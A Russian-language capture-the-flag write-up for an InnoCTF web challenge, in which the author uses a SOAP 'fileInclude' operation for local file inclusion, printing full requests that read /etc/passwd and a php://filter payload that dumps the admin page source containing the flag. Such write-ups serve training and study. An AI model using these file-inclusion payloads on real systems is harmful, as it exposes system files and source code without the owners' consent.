We build

Описание задания

На данный момент мы разрабатываем сайт для одного очень ценного клиента. Человек серьезный, поэтому важно, чтобы не было проблем с безопасностью. Можешь поискать уязвимости? Конечно, функционал еще не полностью готов, но вдруг разработчики уже допустили ошибки… http://5.8.181.4:5025

Итак, веб, 300 баллов.
Беглый анализ сайта и мы находим http://5.8.181.4:5025/admin/
Смотрим код страницы и видим <link href="../assets/css/admin.css" rel="stylesheet">
Открываем, видим хинт:

/*
John, do not forget to fix bug in server.php?wsdl
*/

Анализируем server.php?wsdl, сразу привлекает внимание строка <operation name="fileInclude">
Используя Wsdler пробуем приинклудить /etc/passwd:

POST /server.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
SOAPAction: 
Content-Type: text/xml;charset=UTF-8
Host: 5.8.181.4:5025
Content-Length: 284

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:foo:bar">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:soap>
         <!--type: string-->
         <urn:name>/etc/passwd</urn:name>
      </urn:soap>
   </soapenv:Body>
</soapenv:Envelope>

Всё отлично, LFI есть:

HTTP/1.1 200 OK
Date: Sun, 18 Nov 2018 17:51:41 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.12
Vary: Accept-Encoding
Content-Length: 1168
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:foo:bar"><SOAP-ENV:Body><ns1:soapResponse><content>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
</content></ns1:soapResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

Дело за малым. Используя phpFilter получаем исходный код страницы и флаг. Меняем в запросе выше /etc/passwd на

<urn:name>php://filter/convert.base64-encode/resource=admin/index.php</urn:name>

Что даёт нам:

HTTP/1.1 200 OK
Date: Sun, 18 Nov 2018 17:54:55 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.12
Vary: Accept-Encoding
Content-Length: 1325
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:foo:bar"><SOAP-ENV:Body><ns1:soapResponse><content>PD9waHAKaWYoaXNzZXQoJF9QT1NUWyJ1c2VybmFtZSJdKSBhbmQgaXNzZXQoJF9QT1NUWyJwYXNzd29yZCJdKSkgewogICR2YWxpZFVzZXIgPSAkX1BPU1RbInVzZXJuYW1lIl0gPT09ICJTM2NyMzdfNGRtMW4iICYmICRfUE9TVFsicGFzc3dvcmQiXSA9PT0gIklubm9DVEZ7VW5oNGNrNGJsZV9wNDU1dzByZH0iOwogIGlmKCEkdmFsaWRVc2VyKQogICAgICBlY2hvICI8YnI+IEludmFsaWQgdXNlcm5hbWUgb3IgcGFzc3dvcmQgPGJyPiI7Cn0KPz4KPCFET0NUWVBFIGh0bWw+CjxsaW5rIGhyZWY9Ii4uL2Fzc2V0cy9jc3MvYWRtaW4uY3NzIiByZWw9InN0eWxlc2hlZXQiPgo8aHRtbD4KPGhlYWQ+CiAgPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCIgLz4KICA8dGl0bGU+TG9naW48L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogIDxmb3JtIG5hbWU9ImlucHV0IiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgIDxsYWJlbCBmb3I9InVzZXJuYW1lIj5Vc2VybmFtZTogPC9sYWJlbD48aW5wdXQgdHlwZT0idGV4dCIgdmFsdWU9IiIgaWQ9InVzZXJuYW1lIiBuYW1lPSJ1c2VybmFtZSIgLz48YnI+PGJyPgogICAgPGxhYmVsIGZvcj0icGFzc3dvcmQiPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgdmFsdWU9IiIgaWQ9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgLz4KICAgIDxicj4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiIgbmFtZT0ic3ViIiAvPgogIDwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cg==</content></ns1:soapResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

Декодируем из base64, флаг у нас:
Флаг: InnoCTF{Unh4ck4ble_p455w0rd}


Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *